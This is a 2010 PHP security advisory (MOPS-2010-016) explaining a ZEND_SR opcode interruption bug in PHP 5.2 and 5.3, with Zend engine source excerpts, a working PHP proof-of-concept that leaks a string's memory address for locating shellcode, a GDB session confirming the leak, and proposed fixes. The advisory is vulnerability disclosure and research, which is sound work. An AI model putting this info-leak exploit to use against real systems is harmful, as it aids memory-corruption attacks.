MOPS-2010-016: PHP ZEND_SR Opcode Interruption Address Information Leak Vulnerability

May 8th, 2010

PHP’s ZEND_SR opcode can be abused for address information leak attacks by an userspace error handler interruption attack.

Affected versions

Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Stefan Esser during a search for interruption vulnerability examples.

Detailed information

This vulnerability is similar to the other interruption vulnerabilities discussed in Stefan Esser’s talk about interruption vulnerabilities at BlackHat USA 2009 (SLIDES,PAPER). The basic ideas of these exploits is to use a user space interruption of an internal function to destroy the arguments used by the internal function in order to cause information leaks or memory corruptions. The ZEND_SR opcode interruption is however different from all the other previously disclosed function interruption vulnerabilities because it does not interrupt an internal PHP function, but an opcode handler of the Zend Engine. Therefore it is similar to the ZEND_BW_XOR opcode interruption vulnerability. This difference is important because unlike function interruptions opcode interruptions cannot be fixed by just disabling call time pass by reference. here.

To understand how the ZEND_SR opcode can be interrupted by a userspace error handler it is necessary to look into the implementation of the opcode.

ZEND_VM_HANDLER(7, ZEND_SR, CONST|TMP|VAR|CV, CONST|TMP|VAR|CV)
{
    zend_op *opline = EX(opline);
    zend_free_op free_op1, free_op2;

    shift_right_function(&EX_T(opline->result.u.var).tmp_var,
        GET_OP1_ZVAL_PTR(BP_VAR_R),
        GET_OP2_ZVAL_PTR(BP_VAR_R) TSRMLS_CC);
    FREE_OP1();
    FREE_OP2();
    ZEND_VM_NEXT_OPCODE();
}

The handler itself does only call the shift_right_function() and passed a temporary result variable and the two operands to this function. This is important to remember because both operands can be either constant values, temporary variable registers, normal variables and compiled variables. The shift_right_function() is implemented as seen below.

ZEND_API int shift_right_function(zval *result, zval *op1, zval *op2 TSRMLS_DC) /* {{{ */
{
    zval op1_copy, op2_copy;

    zendi_convert_to_long(op1, op1_copy, result);
    zendi_convert_to_long(op2, op2_copy, result);
    ZVAL_LONG(result, Z_LVAL_P(op1) >> Z_LVAL_P(op2));
    return SUCCESS;
}

We can see that obviously both operands are converted to long before the shift operation is executed. So far it is not yet obvious how this can result in a userspace error handler interruption vulnerability. To see this it is necessary to look into the zendi_convert_to_long() macro implementation as seen below.

#define zendi_convert_to_long(op, holder, result)                   \
    if (op == result) {                                             \
        convert_to_long(op);                                        \
    } else if (Z_TYPE_P(op) != IS_LONG) {                           \
        switch (Z_TYPE_P(op)) {                                     \
            case IS_NULL:                                           \
                Z_LVAL(holder) = 0;                                 \
                break;                                              \
            case IS_DOUBLE:                                         \
                Z_LVAL(holder) = zend_dval_to_lval(Z_DVAL_P(op));   \
                break;                                              \
            case IS_STRING:                                         \
                Z_LVAL(holder) = strtol(Z_STRVAL_P(op), NULL, 10);  \
                break;                                              \
            case IS_ARRAY:                                          \
                Z_LVAL(holder) = (zend_hash_num_elements(Z_ARRVAL_P(op))?1:0);  \
                break;                                              \
            case IS_OBJECT:                                         \
                (holder) = (*(op));                                 \
                zval_copy_ctor(&(holder));                          \
                convert_to_long_base(&(holder), 10);                \
                break;                                              \
            case IS_BOOL:                                           \
            case IS_RESOURCE:                                       \
                Z_LVAL(holder) = Z_LVAL_P(op);                      \
                break;                                              \
            default:                                                \
                zend_error(E_WARNING, "Cannot convert to ordinal value");   \
                Z_LVAL(holder) = 0;                                 \
                break;                                              \
        }                                                           \
        Z_TYPE(holder) = IS_LONG;                                   \
        (op) = &(holder);                                           \
    }

It should be obvious that in case of a PHP variable that is already of the type IS_LONG nothing will happen. It should also be obvious that the default switch case will result in a userspace error handler being called. However we cannot reach the case. Not so obvious is that the IS_OBJECT case can also result in a userspace error handler being called, because of the call to convert_to_long_base() as seen below (all the irrelevant switch cases omitted).

ZEND_API void convert_to_long_base(zval *op, int base) /* {{{ */
{
    long tmp;

    switch (Z_TYPE_P(op)) {
        case ...:
            break;
        case IS_OBJECT:
            {
                int retval = 1;
                TSRMLS_FETCH();

                convert_object_to_type(op, IS_LONG, convert_to_long);

                if (Z_TYPE_P(op) == IS_LONG) {
                    return;
                }
                zend_error(E_NOTICE, "Object of class %s could not be converted to int", Z_OBJCE_P(op)->name);

                zval_dtor(op);
                ZVAL_LONG(op, retval);
                return;
            }
        default:
            ...
    }

    Z_TYPE_P(op) = IS_LONG;
}

This code will trigger an error for object instances of user defined classes and return a IS_LONG value of value 1.

To understand how this can be used in an exploit it is necessary to remember that this conversion steps are first performed for both operands of the ZEND_SR opcode. Therefore having a shift operation with an integer as first operand and an object as second operand is exploitable. The first operand will not be touched because it already is an integer (IS_LONG) variable and the second operand will trigger a userspace error handler. That userspace error handler can then change the first operand, because it is directly linked to a PHP variable that can be changed.

If the error handler changes the PHP variable into a string the first operand used in the shift will be the pointer to the string characters in memory and the second operand will be 1. In case of an array it will be the address of the Hashtable shifted by 1. In both cases a simple shift by 1 in the opposite direction allows retrieving the in memory address of either a string or a hashtable.

Proof of concept, exploit or instructions to reproduce

The following exploit code will leak the address of a string to the attacker, which is very useful to leak the address of shellcode.

<?php

/* This will leak the Address of the string "I AM THE SHELLCODE. SERIOUSLY..." in memory */

error_reporting(E_ALL);

/* Initialize */
$a = 1;
$b = new stdClass();

/* Setup Error Handler */
set_error_handler("my_error");
   
/* Trigger the Code */
$addr = $a >> $b;
$addr <<= 1;

restore_error_handler();

echo sprintf("%016x\n", $addr);
sleep(1);

function my_error()
{
    $GLOBALS['a'] = "I AM THE SHELLCODE. SERIOUSLY...";
    return 1;
}
?>

And here is the GDB session that proves the usefulness.

(gdb) break zif_sleep
Breakpoint 1 at 0x100244a09
(gdb) run sr_interruption.php
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/bin/php sr_interruption.php
Reading symbols for shared libraries . done
0000000100b4b098

Breakpoint 1, 0x0000000100244a09 in zif_sleep ()
(gdb) x/1s 0x100b4b098
0x100b4b098:     "I AM THE SHELLCODE. SERIOUSLY..."
(gdb)

Notes

In order to fix this vulnerability it would be possible to either remove the E_NOTICE error or to check the operand type again inside shift_right_function() before actually shifting the two operands and error out in case of a mismatch.




blog comments powered by Disqus